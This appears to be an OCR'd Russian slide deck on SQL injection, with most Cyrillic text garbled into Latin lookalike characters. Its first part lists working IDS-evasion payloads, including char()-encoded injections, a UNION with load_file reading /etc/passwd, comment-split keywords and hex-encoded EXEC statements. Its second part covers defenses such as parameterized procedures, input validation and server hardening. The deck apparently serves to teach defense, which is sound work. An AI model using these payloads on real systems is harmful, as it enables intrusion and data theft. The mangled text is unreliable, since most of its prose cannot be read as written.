YKa3aHHbIX CMMBO/1I0B YNC/TI0BbIM MONIEM




O6xoa npoBepok

m IDS 1 NpoBeEpKY AENCTBUTENTbHOCTU BXOAHbIX
NAHHbIX MOXKHO /1erko 06ouTH, NCNonb3ys
KOAMPOBAHME

B HekoTopble crnocobbl KOAMPOBAHMNS NAapaMeTPOoB
» URL encoding
» Unicode/UTF-8

» Hex enconding
» char() function




|
MySQL Input Validation Circumvention using
Char()

B Inject without quotes (string = "%"):
» ' or username like char(37);

B Inject without quotes (string = "root"):

» ' union select * from users where login =
char(114,111,111,116);

W Load files in unions (string = "/etc/passwd"):

» ' union select 1,
(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,
1;
B Check for existing files (string = "n.ext"):
» "and 1=( if(
(load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
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O6xoa curHatypHom IDS ¢ ncnosb3oBaHuEeM
npob6enos

m UNION SELECT signature is different to
m UNION SELECT

B MOo>XHO ncnosib3oBaTtb Tab, carriage return,
linefeed nnn Heckonbko Npobenos

B YaneHne npobenoB MOXET Aaxke ydlle

paboTaTb

» 'OR"1'="1" (6e3 npobenoB) KOPPEKTHO
MHTEepnpeTupyeTca MmHorumn SQL b/l




O6xoa curHatypHom IDS ¢ ncnosb3oBaHuEeM
KOMMeHTapueB

B HekoTopsble IDS Henb3s 06MaHyTb
MCroJsib30BaHMeM nNpobenos

m /Icrnonib30BaHMe KOMMEHTAPUEB SABSAETCS
NyYLLEN anbTEPHATUBOM

» /* ... */is used in SQL99 to delimit multirow
comments

» UNION/**/SELECT/**/

» '[**[OR/**/1/**[=/**/1

» DTO TaKXXe No3BoNdeT PacnpoCTpaH1Thb
NPOHMKHOBEHME Ha HECKOJIbKO MoJsien

= USERNAME: 'or 1/*
= PASSWORD: */ =1 --




O6xon curHatypHom IDS Signature ¢
MCMNoJ1b30BaHMEM KOHKaTeHaLlUun CTPOK

m B MySQL BO3MOXXHO pa3aensaTb MHCTPYKLUMN
KOMMEHTapusmm

» UNI/**/ON SEL/**/ECT

B /1IN MOXHO BbINOJIHUTb KOHKATEHaUMIO TEeKCTa U
MCMONb30BaTb AN BbINOHEHUS cneumnduyeckme
MHCTPpYKUMK b/l

» Oracle
= ', EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER’

» MS SOL
= - EXEC (‘SEL' + 'ECT US' + 'ER")




|
O6xoa 1DS 1 npoBepku 4E€UCTBUTENIbHOCTHU
BXOAHbIX JAHHbIX C UCNOJIb30OBaHUEM
nepeMeHHbIX

B Bcé eule cywecTByeT TexHonorns obxoaa, Kotopas
NO3BOJIAET onpeaendTb nepeMeHHble
» ; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' +
N'ER");
» EXEC (@)
» EXEC SP_EXECUTESQL @x

B VInn gaxke ncnosib3oBatb hex-3HavyeHusd

» ; declare @x varchar(80); set @x =
0x73656¢c65637420404076657273696f6e; EXEC (@X)

» B naHHOM yTBEPXXAEHUM HE UCMONBb3YETCA HU OAHOU KaBblukn ()
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3alwmTta ot SQL
Injection
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3awmTa ot SQL Injection

m It Is quite simple: input validation
B The real challenge is making best practices
consistent through all your code

» Enforce "strong design" in new applications

» You should audit your existing websites and source
code

Hm Even if you have an air tight design, harden
your servers




CTporoe npoeKTupoBaHus

m Define an easy "secure" path to querying data

» icnonb30BaTb XpaHMMbIe Npoueaypbl Ans
B3ammopaencTesusa ¢ b

» BbI3biBaTb XpaHUMble Npoueaypbl yepes
NnapaMeTpu3oBaHHbIN AP

» MpoBepPATb AENCTBUTENbHOCTb BCEX BXOAHbIX
3HAYEHUN C NOMOLLbIO 06LWMX Npoueayp

» Icnonb30BaTh MNPUHLMIN «HaUMEHbLUMX NpUBUIErun”

= OnpenennTb HECKONMbKO POJIEN, MO OAHOW ANS KaXAoro Tvna
3anpocoB

©




NMpoBepka 4eMCTBUTENIbHOCTU BXOAHbDIX
AaHHbIX

| OI'IpeLl,eJ'IMTb TUMbl AdHHbIX ANA KaXA0ro nosa4d

» Peann3oBatb 06s3aTesNbHble PUNLTPbI «pa3peLlleHo
TO/IbKO TO, YTO NPaBUJIbHO"

= Ecnu BxogHble AaHHblE MOTYT ObITb YACNOBbLIMYU,
NCMNoJib30BaTb YNCNOBbIE NEPEMEHHbIE B CKPUMTAaX ANnd UX
XPaHEHUSA
» OTBepraTb nnoxue BXxoaHble AaHHbIe, @ He MbITaTbCs
He obpallaTb Ha HUX BHUMAHWE UK
MOAMMDULMPOBATb UX
» Peann3oBaTb 06s3aTeNibHble PUNbTPbl «U3BECTHO,

YTO MNJ10X0”

= Hanpumep: oTBeprath "select"”, "insert", "update",
"Shutdown"’ lldeletell’ lldropll’ ll__ll’ min




YcuneHHbIn cepBep

1. BbeinonHaTtb Bl ¢ MMHMManNbHBIMK NPUBUNIETUAMU
NO/1b30BaTE/IbCKOro akKayHTa

2. YpansTb HEUCNO/b3YEMbIE XPaHUMbIE NMPOLEAYPb! U
(DYHKLMOHANBHOCTU UM OFPaHNYMBATb AOCTYN K HUM
TOIbKO aAMMHUCTPATOpaM

3. W3MeHuTb pa3pelueHns u yaanutb «nybnnyHbin®
[I0OCTYN K CUCTEMHbIM 06beKTaM

4. TlpoBepuTb, YTO BCE NOSb30BATENbCKME aKKAYHTbI
MMEIOT CU/IbHbIE NAPON

5. YpanuTb npea-ayTeHTUMOULNPOBAHHbBIE
NpUCOeaNHEHHbIE cepBepa

YAanuTb HEMCNO/b3YEMbIE CETEBbIE MPOTOKObI

Hactpoutb M2 ans nocrtyna K cepBepy Tak, YToObl
TONbKO AOBEpPEeHHble KIMNEHTbLI MO NPUCOEAUHUTBLCS K
HeMy (OBblYHO TOMbKO: aAMUHUCTPATUBHAsA CETb, BEO-
cepBep 1 backup-cepsep)

€
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OnpepeneHve u pearupoBsaHue

B Bo3MOXXHbIe peakuun Ha nonbITKK SQL injection:
» 3anuncaTtb B J1OrM NOMbITKK
» [locnatb yBegomneHue no email
» bnokuposatb IP, ¢ KOTOpOro 6bin1a NonbITKa NPOHUKHOBEHUS

» MNocnatb 06paTHO MOMEYEHHOE AATON U BPEMEHEM COOOLLEHME
06 owwunbke:

= "WARNING: Improper use of this application has been detected. A
possible attack was identified. Legal actions will be taken."

= Check with your lawyers for proper wording
H OTO AO/KHO ObITb 3dKOANPOBAHO B CKPUMTaxX NMPOBEPKU
ﬂeﬁCTBMTeﬂbHOCTM BXOAHbIX AAdHHbIX




BbiBOoA

m SQL Injection aBnseTcs o4eHb ONacHOM
YS3BMMOCTbIO

m Bce A3blkM nporpaMmMmupoBaHua v Bce b/l
NOTEHUNANbHO YA3BUMBI

B /1N 3auThl NPOTMB 3TOro Tpebyercs
» CTporoe npoekTMpoBaHue

» KoppekTHas npoBepKa BXOAHbIX AaHHbIX
» YcuneHHoe 0, nexaulee B OCHOBE




Ccbinikn

m A lot of SQL Injection related papers
» http://www.nextgenss.com/papers.htm
» http://www.spidynamics.com/support/whitepapers/
» http://www.appsecinc.com/techdocs/whitepapers.html
» http://www.atstake.com/research/advisories

B Other resources
» http://www.owasp.orq

» http://www.sqglsecurity.com
» http://www.securityfocus.com/infocus/1768
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